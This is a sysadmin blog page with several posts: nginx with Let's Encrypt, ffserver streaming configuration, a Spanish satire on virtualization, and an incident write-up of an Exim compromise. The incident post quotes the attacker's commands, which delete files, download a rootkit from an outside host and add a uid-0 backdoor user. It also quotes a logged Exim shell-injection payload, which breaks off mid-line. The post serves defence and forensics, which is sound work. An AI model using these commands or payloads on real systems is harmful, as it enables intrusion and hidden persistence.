Let’s encrypt!

“The Let’s Encrypt project aims to make encrypted connections to World Wide Web servers ubiquitous. By getting rid of payment, web server configuration, validation emails, and dealing with expired certificates it is meant to significantly lower the complexity of setting up and maintaining TLS encryption.”Wikipedia

Let’s Encrypt is a service provided by the Internet Security Research Group (ISRG), a public benefit organization. Major sponsors are the Electronic Frontier Foundation (EFF), the Mozilla Foundation, Akamai, and Cisco Systems. Other partners include the certificate authority IdenTrust, the University of Michigan (U-M), the Stanford Law School, the Linux Foundation as well as Stephen Kent from Raytheon/BBN Technologies and Alex Polvi from CoreOS.

So, in summary, with Let’s Encrypt you will be able to request for a valid SSL certificate, free of charges, issued for a recognized CA and avoiding the mess of the mails, requests, forms typical of the webpages of the classic CA issuers.

The rest of the article shows the required steps needed for a complete setup of a Nginx server using Let’s encrypt issued certificates:

Install letsencrypt setup scripts:

cd /usr/local/sbin
sudo wget https://dl.eff.org/certbot-auto
sudo chmod a+x /usr/local/sbin/certbot-auto

Preparing the system for it:

sudo mkdir /var/www/letsencrypt
sudo chgrp www-data /var/www/letsencrypt

A special directory must be accesible for certificate issuer:

root /var/www/letsencrypt/;
location ~ /.well-known {
allow all;
}

Service restart. Let’s encrypt will be able to access to this domain and verify the athenticity of the request:

sudo service nginx restart

Note: At this point you need a valid A DNS entry pointing to the nginx server host. In my example, I will use the mydomain.com domain as an example.

Requesting for a valid certificate for my domain:

sudo certbot-auto certonly -a webroot --webroot-path=/var/www/letsencrypt -d mydomain.com

If everything is ok, you will get a valid certificate issued for your domain:

/etc/letsencrypt/live/mydomain.com/fullchain.pem

You will need a Diffie-Hellman PEM file for the crypthographic key exchange:

sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048

Setting the nginx virtual host with SSL as usual but using the Let’s encrypt issued certificate:

...
ssl on;
ssl_certificate /etc/letsencrypt/live/mydomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/mydomain.com/privkey.pem;

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers 'EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH';
ssl_prefer_server_ciphers on;
ssl_dhparam /etc/ssl/certs/dhparam.pem;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 5m;

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
...

Check the new configuration and restarting the Nginx:

nginx -t
sudo service nginx restart

Renewing the issued certitificate:

cat >> EOF > /etc/cron.d/letsencrypt
30 2 * * 1 root /usr/local/sbin/certbot-auto renew >> /var/log/le-renew.log
35 2 * * 1 root /etc/init.d/nginx reload
EOF
Advertisements

Tips about FFserver & FFmpeg

FFmpeg

Today, I want to share one tip about ffmpeg and ffserver multimedia video tools and  server. FFmpeg is a open source project that produces libraries and programs for handling multimedia data. FFserver is a HTTP and RTSP multimedia streaming server for live broadcasts. It can also time shift live broadcast.

All the settings used in this article have been tested on AMD64 Debian Squeeze OS using
FFmpeg Debian packages of the Debian-Multimedia repositories:

ffmpeg 5:0.6.1+svn20101128-0.2

You can get the Debian Multimedia repositories adding this lines to your APT sources.list
file:

deb http://www.debian-multimedia.org squeeze main
deb-src http://www.debian-multimedia.org squeeze main

Note that, with this same version, I’ve observe a problem trying to run ffserver:

Mon Apr 25 13:29:09 2011 Aspect ratio mismatch between encoder and muxer layer

To work ffserver in this version of ffmpeg is neccesary to hack the source code:

    1. Install DPKG development tools:  apt-get install dpkg-dev
    2. Get sources: apt-get source ffmpeg
    3. Go to sources directory: cd ffmpeg-dmo-0.6.1+svn20101128/
    4. Apply the patch:
      Index: libavutil/rational.h
      ===================================================================
      --- libavutil/rational.h    (revision 25549)
      +++ libavutil/rational.h    (working copy)
      @@ -29,7 +29,6 @@
      #define AVUTIL_RATIONAL_H
      
      #include <stdint.h>
      -#include <limits.h>
      #include "attributes.h"
      
      /**
      @@ -44,16 +43,13 @@
      * Compare two rationals.
      * @param a first rational
      * @param b second rational
      - * @return 0 if a==b, 1 if a>b, -1 if a<b, and INT_MIN if one of the
      - * values is of the form 0/0
      + * @return 0 if a==b, 1 if a>b and -1 if a<b
      */
      static inline int av_cmp_q(AVRational a, AVRational b){
      const int64_t tmp= a.num * (int64_t)b.den - b.num * (int64_t)a.den;
      
      if(tmp) return ((tmp ^ a.den ^ b.den)>>63)|1;
      -    else if(b.den && a.den) return 0;
      -    else if(a.num && b.num) return (a.num>>31) - (b.num>>31);
      -    else                    return INT_MIN;
      +    else    return 0;
      }
      
      /**
  • Install all the dependences neccesaries to build the package:
    apt-get install  debhelper libmp3lame-dev zlib1g-dev libvorbis-dev libsdl-dev libfaac-dev quilt texi2html libxvidcore4-dev liblzo2-dev libx264-dev  libtheora-dev libgsm1-dev ccache libbz2-dev libxvmc-dev libdc1394-22-dev libdirac-dev   libschroedinger-dev libspeex-dev yasm libopenjpeg-dev libopencore-amrwb-dev libvdpau-dev libopencore-amrnb-dev libxfixes-dev libasound-dev libva-dev libjack-dev libvpx-dev  librtmp-dev doxygen
  • Build the packages: dpkg-buildpackage -rfakeroot
  • Finally you’ll have the new *deb packages:
    # ls ../*.deb
    ffmpeg_0.6.1+svn20101128-0.2_amd64.deb         libavfilter-dev_0.6.1+svn20101128-0.2_amd64.deb
    ffmpeg-dbg_0.6.1+svn20101128-0.2_amd64.deb     libavformat52_0.6.1+svn20101128-0.2_amd64.deb
    ffmpeg-doc_0.6.1+svn20101128-0.2_all.deb     libavformat-dev_0.6.1+svn20101128-0.2_amd64.deb
    libavcodec52_0.6.1+svn20101128-0.2_amd64.deb     libavutil50_0.6.1+svn20101128-0.2_amd64.deb
    libavcodec-dev_0.6.1+svn20101128-0.2_amd64.deb     libavutil-dev_0.6.1+svn20101128-0.2_amd64.deb
    libavcore0_0.6.1+svn20101128-0.2_amd64.deb     libpostproc51_0.6.1+svn20101128-0.2_amd64.deb
    libavcore-dev_0.6.1+svn20101128-0.2_amd64.deb     libpostproc-dev_0.6.1+svn20101128-0.2_amd64.deb
    libavdevice52_0.6.1+svn20101128-0.2_amd64.deb     libswscale0_0.6.1+svn20101128-0.2_amd64.deb
    libavdevice-dev_0.6.1+svn20101128-0.2_amd64.deb  libswscale-dev_0.6.1+svn20101128-0.2_amd64.deb
    libavfilter1_0.6.1+svn20101128-0.2_amd64.deb

After to install the ffmpeg packages, you’ll can to run ffserver adjusted like you want. for this aim, you can run as follow: ffserver -f your_ffserver_settings.conf. The ffserver configuration file should have this structuration:

  • Main settings:
     # Port on which the server is listening. You must select a different
     # port from your standard HTTP web server if it is running on the same
     # computer.
     Port 8090
     # Address on which the server is bound. Only useful if you have
     # several network interfaces.
     BindAddress 0.0.0.0
     RTSPPort 554
     RTSPBindAddress 0.0.0.0
     # Number of simultaneous HTTP connections that can be handled. It has
     # to be defined *before* the MaxClients parameter, since it defines the
     # MaxClients maximum limit.
     MaxHTTPConnections 2000
     # Number of simultaneous requests that can be handled. Since FFServer
     # is very fast, it is more likely that you will want to leave this high
     # and use MaxBandwidth, below.
     MaxClients 1000
     # This the maximum amount of kbit/sec that you are prepared to
     # consume when streaming to clients.
     MaxBandwidth 1000
     # Access log file (uses standard Apache log file format)
     # '-' is the standard output.
     CustomLog -
     # Suppress that if you want to launch ffserver as a daemon.
     NoDaemon
  • Definition of the live feeds. Each live feed contains one video and/or audio sequence coming from an ffmpeg encoder or another ffserver. This sequence may be encoded simultaneously with several codecs at several resolutions. You must use ffmpeg to send a live feed to ffserver. In this example, you can type ffmpeg http://localhost:8090/feed1.ffm  or ffmpeg   -f alsa   -i hw:1   -f video4linux2 -r 25 -s 352x288  -i /dev/video0   http://localhost:8090/feed1.ffm:
     ################################################################################
     <Feed feed1.ffm>
     # ffserver can do time shifting. It means that it can stream any
     # previously recorded live stream. The request should contain:
     # "http://xxxx?date=[YYYY-MM-DDT][[HH:]MM:]SS[.m...]".You must specify
     # a path where the feed is stored on disk. You also specify the
     # maximum size of the feed, where zero means unlimited. Default:
     # File=/tmp/feed_name.ffm FileMaxSize=5M
     File /tmp/feed1.ffm
     FileMaxSize 100M
     # You could specify
     # ReadOnlyFile /saved/specialvideo.ffm
     # This marks the file as readonly and it will not be deleted or updated.
     # Specify launch in order to start ffmpeg automatically.
     # First ffmpeg must be defined with an appropriate path if needed,
     # after that options can follow, but avoid adding the http:// field
     # Launch ffmpeg
     # Only allow connections from localhost to the feed.
     ACL allow 127.0.0.1
     </Feed>
  • Setting a RTSP/RTP stream:
     ################################################################################
     # It's a lot of important the .sdp extension to allow RTP working well.
     #
     # Note that AVOptionVideo is only interesting for libx264 video codec:
     # For RTSP:
     # ffplay  rtsp://10.121.55.148:554/live.sdp
     #
     # For SDP (RTP):
     #   vlc  http://10.121.55.148:8090/live.sdp
     #
     <Stream live.sdp>
     Format rtp
     Feed feed1.ffm
     ### MulticastAddress 224.124.0.1
     ### MulticastPort 5000
     ### MulticastTTL 16
     # NoLoop
     VideoSize 352x288
     VideoFrameRate 15
     VideoBitRate 200
     # Alternative video codecs:
     # VideoCodec h263p
     # VideoCodec h263
     # VideoCodec libxvid
     # VideoQMin 10
     # VideoQMax 31
     VideoCodec libx264
     AVOptionVideo me_range 16
     AVOptionVideo i_qfactor .71
     AVOptionVideo qmin 30
     AVOptionVideo qmax 51
     AVOptionVideo qdiff 4
     # AVOptionVideo coder 0
     # AVOptionVideo flags +loop
     # AVOptionVideo cmp +chroma
     # AVOptionVideo partitions +parti8x8+parti4x4+partp8x8+partb8x8
     # AVOptionVideo me_method hex
     # AVOptionVideo subq 7
     # AVOptionVideo g 50
     # AVOptionVideo keyint_min 5
     # AVOptionVideo sc_threshold 0
     # AVOptionVideo b_strategy 1
     # AVOptionVideo qcomp 0.6
     # AVOptionVideo bf 3
     # AVOptionVideo refs 3
     # AVOptionVideo directpred 1
     # AVOptionVideo trellis 1
     # AVOptionVideo flags2 +mixed_refs+wpred+dct8x8+fastpskip
     # AVOptionVideo wpredp 2
     ## AVOptionVideo flags +global_header+loop
     # NoAudio
     AudioCodec libmp3lame
     AudioBitRate 32
     AudioChannels 1
     AudioSampleRate 24000
     ## AVOptionAudio flags +global_header
     </Stream>
  • Setting a FLV stream ouput:
     ################################################################################
     # FLV output - good for streaming
     <Stream test.flv>
     # the source feed
     Feed feed1.ffm
     # the output stream format - FLV = FLash Video
     Format flv
     VideoCodec flv
     # this must match the ffmpeg -r argument
     VideoFrameRate 15
     # generally leave this is a large number
     VideoBufferSize 80000
     # another quality tweak
     VideoBitRate 200
     # quality ranges - 1-31 (1 = best, 31 = worst)
     VideoQMin 1
     VideoQMax 5
     VideoSize 352x288
     # this sets how many seconds in past to start
     PreRoll 0
     # wecams don't have audio
     Noaudio
     </Stream>
  • Setting a ASF stream ouput:
     ################################################################################
     # ASF output - for windows media player
     <Stream test.asf>
     # the source feed
     Feed feed1.ffm
     # the output stream format - ASF
     Format asf
     VideoCodec msmpeg4
     # this must match the ffmpeg -r argument
     VideoFrameRate 15
     # transmit only intra frames (useful for low bitrates, but kills frame rate).
     # VideoIntraOnly
     # if non-intra only, an intra frame is transmitted every VideoGopSize
     # frames. Video synchronization can only begin at an intra frame.
     VideoGopSize 40
     # generally leave this is a large number
     VideoBufferSize 1000
     # another quality tweak
     VideoBitRate 200
     # quality ranges - 1-31 (1 = best, 31 = worst)
     VideoQMin 1
     VideoQMax 15
     VideoSize 352x288
     # this sets how many seconds in past to start
     PreRoll 0
     # generally, webcams don't have audio
     # Noaudio
     AudioCodec libmp3lame
     AudioBitRate 32
     AudioChannels 1
     AudioSampleRate 24000
     </Stream>
  • Other streams availables:
     # Multipart JPEG
     #<Stream test.mjpg>
     #Feed feed1.ffm
     #Format mpjpeg
     #VideoFrameRate 2
     #VideoIntraOnly
     #NoAudio
     #Strict -1
     #</Stream>
     # Single JPEG
     #<Stream test.jpg>
     #Feed feed1.ffm
     #Format jpeg
     #VideoFrameRate 2
     #VideoIntraOnly
     ##VideoSize 352x240
     #NoAudio
     #Strict -1
     #</Stream>
     # Flash
     #<Stream test.swf>
     #Feed feed1.ffm
     #Format swf
     #VideoFrameRate 2
     #VideoIntraOnly
     #NoAudio
     #</Stream>
     # MP3 audio
     #<Stream test.mp3>
     #Feed feed1.ffm
     #Format mp2
     #AudioCodec mp3
     #AudioBitRate 64
     #AudioChannels 1
     #AudioSampleRate 44100
     #NoVideo
     #</Stream>
     # Ogg Vorbis audio
     #<Stream test.ogg>
     #Feed feed1.ffm
     #Title "Stream title"
     #AudioBitRate 64
     #AudioChannels 2
     #AudioSampleRate 44100
     #NoVideo
     #</Stream>
     # Real with audio only at 32 kbits
     #<Stream test.ra>
     #Feed feed1.ffm
     #Format rm
     #AudioBitRate 32
     #NoVideo
     #NoAudio
     #</Stream>
     # Real with audio and video at 64 kbits
     #<Stream test.rm>
     #Feed feed1.ffm
     #Format rm
     #AudioBitRate 32
     #VideoBitRate 128
     #VideoFrameRate 25
     #VideoGopSize 25
     #NoAudio
     #</Stream>
  • Other special streams:
     # Server status
     <Stream stat.html>
     Format status
     # Only allow local people to get the status
     ACL allow localhost
     ACL allow 192.168.0.0 192.168.255.255
     #FaviconURL http://pond1.gladstonefamily.net:8080/favicon.ico
     </Stream>
    
     # Redirect index.html to the appropriate site
     <Redirect index.html>
     URL http://www.ffmpeg.org/
     </Redirect>

Extra references:

Deux ex virtual machine

El siguiente texto no se trata de un alegato a favor de los sistemas de virtualización a nivel OS como OpenVZ y VServer y en contra de los sistemas de virtualización completa como Xen, VMware, VBox, KVM …
No, no se trata de eso, si no de que, en principio,  para un entorno homogéneo y con pocos recursos hardware o con servicios que, a priori, sea difícil saber como van a evolucionar en el tiempo con respecto al consumo de los recursos HW, el uso de uso de estos contenedores se me antoja personalmente mucho más práctico y versátil que las otras dos alternativas (no virtualización y virtualización completa).

***

La empresa Pérez y Familia son una PYME de medio tamaño (unos 50 trabajadores). La misma, tiene un importante Departamento de Informática formado por un gurú Unix (top 9 en el
ranking mundial de freaks) y un becario a media jornada. Por supuesto, tienen una partida presupuestaria de 1200 chocomonedas para todo el año destinadas principalmente a mantener la familia numerosa del señor que mantiene fiel y cuasiquereligiosamente la máquina del café. El Dep. de Informática en su CPD, ubicado inmediatamente debajo de la mesa del becario, tiene una pequeña infraestructura de servidores:

  • (A) 2 PentiumIV con unas a cuantas tarjetas de red a modo de Router corporativo en HA
  • (B) 1 PowerEdge 1890 DualCore que compraron cuando los inicios de la empresa
  • (C) 2 X PCs clónicos 8core con 8GB de RAM comprados recientemente en MarcaMedia a petición explícita del Dep. de Informática

Al departamento de informática se le da vía libre para instalar los SO bajo su antojo, siempre y cuando las horas extra caigan de su lado. Así que como casi una excepción empresarial, se forman su propia taifa dentro del reino de los Pérez. Por otro lado, la empresa poco a poco, a lo largo de su tiempo de vida fue incorporando herramientas informáticas a sus procesos de trabajo:

  • Al principio, los de Informática montaron sus servidores que sólo sirven para consumir ciclos de procesado y algunas cosas freakies más:
    • Un servidor DNS, que si un DHCP, y un Snort en A
    • Que si un OpenVPN en A
    • Que si unos repositorios en B
  • Luego, vinieron las herramientas de apoyo al proceso:
    • Gestor documental en B
    • CRM en B
  • Tiempo más, llegaron más herramientas que se fueron incorporando:
    • La intranet
    • La extranet
    • El streamer de música
    • El repositorio de código
    • El inventario y el sistema de monitorización de servicios
    • y un largo etc …

Todo esto se fue metiendo en B y C como se pudo. A mayores, cada cierto tiempo algo o alguién pide la evaluación de un software para ver si es rompedor. Lógicamente, estas pruebas se hacen en los entornos de testing (aka, el portátil del becario, el suyo el que se compro con la subvención de estudiante matriculado). Todo esto va generando el escenario, preparando el clímax de nuestra historia, el preludio del ansiado momento que nos llevará al clímax y servirá de justificante al desenlace.

Y llegó el momento, Dirección exige la instalación del ERP UltimatumTotalNG. Este está pensado para RedHat4.0 si y sólo con versiones concretas de ciertos tipos de base de datos y demás y Dirección, que es experta en toma de decisiones técnicas como Franco lo era en la Teoría de la Relatividad de Einstein, no quiere ni oir de hablar de otras distros o versiones que no sean las que el apuesto y sofisticado consultor externo ha sugerido para el UltimatumTotalNG.

Llegados a este punto los del Dep. Informática (o sea el becario y el gurú Top10) se  encuentran de repente contra la espada y la pared. Ya que ellos decidieron en el pasado, allá por el tiempo de la patata (esta es buena, a ver quien la pilla), elegir Debian como OS y lo fueron actualizando hasta Squeeze ni más ni menos. ¿Que pasará? ¿Será el fin de nuestros héroes? ¿Como podrán salir de esta encrucijada? Veamos cómo actúan:

– ¿Que podemos hacer? dijo el Gurú Unix.

– Bien, analicemos la situación, dijo el becario. Tenemos muchos servicios instalados pero realmente estos no están consumiendo siempre los recursos del sistema (50 clientes no son muchos clientes al fin y al cabo). Con las máquinas que tenemos bien podemos aguantar todos estos servicios. No obstante, tenemos un problema con los procesos de actualización: No es la primera vez que por motivo de la actualización de un servicio concreto, se ven afectados otros servicios independientes y nos cae un bronca encima.

– Bien, podríamos usar virtualización. Movemos todos los servicios que están en C” a C’ y preparamos esta máquina para albergar máquinas KVM y así vamos migrando todo sucesivamente (empezando por la RedHat del ERP) hasta tener todo virtualizado.

– Perfecto, crack!

(tiempo que transcurre en liberar C” de servicios)

– …. Bien, ahora ¿como dimensionamos las imágenes? ummm hombre dale medio core a esta MV que no se suele usar muy a menudo.
– Nooo, estás loco!, si ahí va a ir el CRM, entre las nueve y nueve y media los de marketing se ponen a hacer consultas como locos. Ya sabes que no son muy cuidadosos a la hora de ejecutar los filtros. Se nos van a echar encima, dale por lo menos dos cores …

(después de 5 horas más)

– Venga, créame otra MV para este servicio.
– Oops!, creo que tenemos todos los recursos físicos asignados.
– Pero ¿como es posible?, si antes estábamos dando el servicio perfectamente con el mismo número de servidores!!!.
– Si, pero también es cierto que teníamos en la misma máquina el CRM y el Gestor documental y estos, a pesar de usar todos los recursos físicos, uno tenía sus cargas de trabajo por la mañana y otro por la tarde por lo que la máquina estaba bien balanceada. Con la reserva de recursos de las máquinas hemos partido los recursos a la mitad, con lo que otros servicios menores que también se corrían sobre dicha máquina se han quedado sin recursos para una nueva MV donde alojarlos.

… (todo los demás transcurrido es una sucesión de culpas, reproches, #epicfails, #workarrounds, excusas, horas extras y #fatalities) …

Finalmente, los informáticos fueron despedidos. El gurú escribió un libro y se retiró con el dinero que ganó y el Becario, frustrado por su primera experiencia laboral, diseño un sistema de jails para Linux llamado VUltimatum con un funcionamiento muy similar a lo que conocemos como VServers, Zones, Jails, VZ, Containers. Debido a esto, es altamente reconocido en su gremio profesional y, a mayores, tiene un trabajo digno como reponedor del Carrefour. Podría decir que la vida le sonríe.

My Exim is under attack!!

Exim logotipe

A few days ago, I received one alarm from one mail list server under my management. /etc/password
file had been modified. In fact, my system had been broke down and somebody was modifying
my server at will. Fortunetly, I often configure my monitor system to check
md5
variations in important files of the system.
Quickly, I logged on the host and, shaw the next commands executed as
root on my server:

 id
pwd
cd ..
cd ..
ls
rm -rf *
ls
wget \freewebtown.com/zaxback/rk.tar
tar xzvf rk.tar
cd shv5
./setup 54472Nx79904 9292
ls
pwd
ls
/usr/sbin/useradd -u 0 -g 0 -o mt
passwd mt

The hacker had installed something on my server and I had to discover what! …

The downloaded package, rk.tar (http://freewebtown.com/zaxback/rk.tar) contained a
the badware trojan called shv5. This mainly was a backdoor and a suite of fake
system libraries and binaries changed maliciously.

The first task in the TODO list was check if somebody else was conected yet
in the system and, at least review review the auth.log to known to IP which
was the ofrigin of the attack.

Once detected the hacker’s IP and confirmed my suspicion about the origin of the
attack: a windows infected host (a zombie), I decided that
follow the tracks of the hacker was time to lose, so I began to check
the scope of intrusion.

Reviewing the rk.tar package and the setup.sh script I got to make a list
of posible infected files on my server:

/sbin/xlogin
/bin/login
/etc/sh.conf
/bin/.bash_history
/lib/lidps1.so
/usr/include/hosts.h
/usr/include/file.h
/usr/include/log.h
/usr/include/proc.h
/lib/libsh.so
/lib/libsh.so/*
/usr/lib/libsh
/usr/lib/libsh/*
/sbin/ttyload
/usr/sbin/ttyload
/sbin/ttymon
/etc/inittab
/usr/bin/ps
/bin/ps
/sbin/ifconfig
/usr/sbin/netstat
/bin/netstat
/usr/bin/top
/usr/bin/slocate
/bin/ls
/usr/bin/find
/usr/bin/dir
/usr/sbin/lsof
/usr/bin/pstree
/usr/bin/md5sum
/sbin/syslogd
/etc/ttyhash
/lib/ldd.so
/lib/ldd.so/*
/usr/src/.puta
/usr/src/.puta/*
/usr/sbin/xntpd
/usr/sbin/nscd
/usr/info/termcap.info-5.gz
/usr/include/audit.h
/usr/include/bex
/usr/include/bex/*
/var/log/tcp.log
/usr/bin/sshd2
/usr/bin/xsf
/usr/bin/xchk
/dev/tux
/usr/bin/ssh2d
/lib/security/.config/
/lib/security/.config/*
/etc/ld.so.hash
/etc/rc.d/rc.sysinit
/etc/inetd.conf

I noted that many importat commands of the system has been changed for others
non-safe commands. The reason was obviously: Hide the Troyan!. Also, the
badware had modified attributes of infected files to avoid modifications
(chattr +isa /usr/sbin/netstat, for example).

Inmediatly, I decided the reinstallation of the main binaries and libraries
of the system:

apt-get install --reinstall net-tools coreutils

After recover safe versions of commands like netstat, md5sum, ls or similars,
I began to see what was really happen on the system:

  • A keylogger was up on the system:
    root      7469  0.0  0.0   1804   652 ?        S    14:55   0:00 ttymon tymon
    
    tcp        0      0 0.0.0.0:9292            0.0.0.0:* LISTEN     7467/ttyload
  • A hide HTTP/FTP server was running:
    103       7671  0.1  0.1   4936  2968 ?        S    14:58   0:18  syslogr
    root     10886  0.0  0.0  11252  1200 ?        Sl   17:39   0:00 /usr/sbin/httpd
    
    tcp        0      0 0.0.0.0:64842           0.0.0.0:* LISTEN     7424/httpd

syslogr process wasn’t nothing related to the syslog system. It was a process
which launched the hide HTTP/FTP service to share files … files of the infected server.
I addition, syslogr proccess was relaunched by a root cronjob to keep up
this proccess on the system.

# crontab  -l
* * * * * /.../bin/cron.sh >/dev/null 2>&1

More things!, as you can observe in the cron job, somebody was created a hide
directory under / directory: /... . This directory contained the httpd
binaries and conffiles and directories used by the httpd process.

After sometime working on the server, I’d done the follow actions in order
to revoke all the security breaks detected:

  • I’d reinstalled all the binaries and libraries posible non-safe after the atack.
  • I’d erased bad process on the system aka syslogr, ttymon … and cronjobs or others
    ways to keep up these.
  • I’d deleted the user mt with the uid=0
  • I’d reviewed the SSH access to the server on the main firewall

6 coffees later, I reached one diagnostic more detailled about what was happen
… and there wasn’t good news 😦

On December 16, the server had been hacked through a vulnerability discovered
on the Exim4 service and reported on Debian Security Reports on December 10:

http://www.debian.org/security/2010/dsa-2131

This vulnerability allowed remote execution of arbitrary code and a privilege
escalation. This allowed to the attacker to inject public keys for the root
user.

2010-12-16 20:47:25 1PTJj8-0006K2-Ck rejected from  H=trbearcom.com.au (yahoo.com) [131.103.65.196]: message too big: read=52518119 max=52428800
2010-12-16 20:48:25 H=trbearcom.com.au (yahoo.com) [131.103.65.196] temporarily rejected MAIL webmaster@yahoo.com: failed to expand ACL string "/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/b
in/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh
-i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run
{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin
/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${
run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /
bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}}
${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exe
c /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&
0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c '
exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0
2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -
c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/s
h -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i
&0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bi
n/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh
-i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{
/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/
